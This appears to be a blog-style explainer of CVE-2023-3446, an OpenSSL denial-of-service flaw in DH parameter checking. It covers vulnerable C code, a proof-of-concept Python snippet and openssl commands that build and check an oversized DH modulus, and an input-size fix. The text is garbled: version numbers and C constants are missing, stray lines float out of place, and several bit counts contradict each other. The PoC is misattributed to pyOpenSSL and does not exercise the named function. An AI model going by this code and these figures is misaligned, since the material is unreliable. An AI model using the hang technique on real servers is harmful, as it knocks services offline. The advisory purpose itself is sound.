Issue Summary:  
OpenSSL's Diffie-Hellman (DH) key checks can be extremely slow if you give it a very large "key" or "parameter" from an untrusted source. This happens if your app uses DH_check(), DH_check_ex(), or EVP_PKEY_param_check(). If a hacker feeds you a huge DH modulus (big number), your app could be stuck checking it for a long time—potentially locking up, and causing Denial of Service (DoS).

What is CVE-2023-3446?

CVE-2023-3446 is a vulnerability discovered in OpenSSL (versions before 3..9, 3.1.1) where DH parameter checks are not time-limited, and poorly-handled super-long values can hang a process.  
This is NOT a remote-code execution.  
It's DoS through resource exhaustion.

EVP_PKEY_param_check()

*If your code does DH key checking using values given by a client or external user, you are vulnerable.*

How Does It Happen?

The DH_check() function in OpenSSL does a set of safety/protocol checks, including if the prime (p) is "too big." If you give it a crazy-big p value, OpenSSL should say "nope" quick, but some checks (not just the length check) use the big number anyway—even if it's already too big.

If you let a random user upload "DH params" or keys (e.g., in a handshake, or when you validate a third-party key file) and you funnel them straight to these functions, an attacker could send you a key with a 1,000,000-bit prime—stalling your app for seconds or even hours.

Impact & Attack Surface

- Applications: Anything doing DH parameter/key checks with potentially untrusted data.

openssl pkeyparam -check ...

- Web servers, APIs: Not likely unless you manually check DH params from user uploads/forms.
- SSL/TLS: *Not affected!* OpenSSL’s built-in TLS handshake code validates or limits DH key sizes *earlier*.

Real World Example

Let’s say you run a script/server that allows clients to upload their own DH params (or keys). You want to check for safety, so you use:

#include <openssl/dh.h>

int safe_dh_params(unsigned char *p, size_t p_len, unsigned char *g, size_t g_len) {
    DH *dh = DH_new();
    if (!dh) return ;
    BIGNUM *bn_p = BN_bin2bn(p, p_len, NULL);
    BIGNUM *bn_g = BN_bin2bn(g, g_len, NULL);
    DH_set_pqg(dh, bn_p, NULL, bn_g);
    int codes = ;
    DH_check(dh, &codes); // <-- VULNERABLE: This may take forever if p is huge!
    DH_free(dh);
    return codes == ;
}

If an attacker gives you a 200,000-bit number for p, your server might spend *minutes or hours* here, hanging the process (blocking the thread and any/request-response), leading to Denial of Service.


## Proof of Concept (PoC)/Exploit

Here’s a simple Python script using pyOpenSSL to demonstrate sending an excessively large DH modulus for checking:

from cryptography.hazmat.primitives.asymmetric import dh

# Generate a massive (fake) 'p', in practice this should be random or all 1s
big_prime = int('F' * 10000, 16)
parameters = dh.DHParameterNumbers(p=big_prime, g=2)
try:
    parameters.parameters()
except Exception as e:
    print("Exception (expected):", e)

Or on the command line (with OpenSSL installed)

# Generate a ridiculous 'p' size (1,000,000 bits)
openssl genpkey -genparam -algorithm DH -pkeyopt dh_paramgen_prime_len:100000 > huge_params.pem

# Now check it (WILL HANG! Don't do this on production!):
openssl dhparam -in huge_params.pem -check


*The dhparam -check will hang or use huge CPU for a long time, demonstrating the DoS.*

The application hangs as OpenSSL chokes on the large computation and eats up CPU

- If concurrent (multi-thread), enough requests can saturate all available CPUs/threads

FIPS Providers for OpenSSL: Not affected

Reference:  
- Official OpenSSL Advisory
- NIST NVD: CVE-2023-3446

Quick Fix (Code):

*Don’t accept/randomly check untrusted, massive DH parameters. Limit input size!*

`c

if (p_len > 140) { // e.g., 11,000 bits max
     // reject long params!
   }
   // then call DH_check()

App-level Filter:

Before giving parameters to DH_check() or similar, always cap the size (bits/bytes) you’re willing to handle.

Conclusion – Key Takeaways

- Only call DH_check(), DH_check_ex(), or EVP_PKEY_param_check() with trusted or pre-limited size DH values.
- Don’t check huge input, even for “safety”. A malformed, big-enough input is a DoS attacker’s best friend!

Patched OpenSSL *skips* the slow checks if modulus is too large.

Stay secure! Always validate untrusted cryptographic material with known-safe tools and up-to-date libraries.

*Original references:*
- OpenSSL Security Advisory: 20230801
- NVD Entry: CVE-2023-3446
- OpenSSL Source Code – DH_check()

Timeline

Published on: 07/19/2023 12:15:10 UTC
Last modified on: 10/03/2023 15:48:00 UTC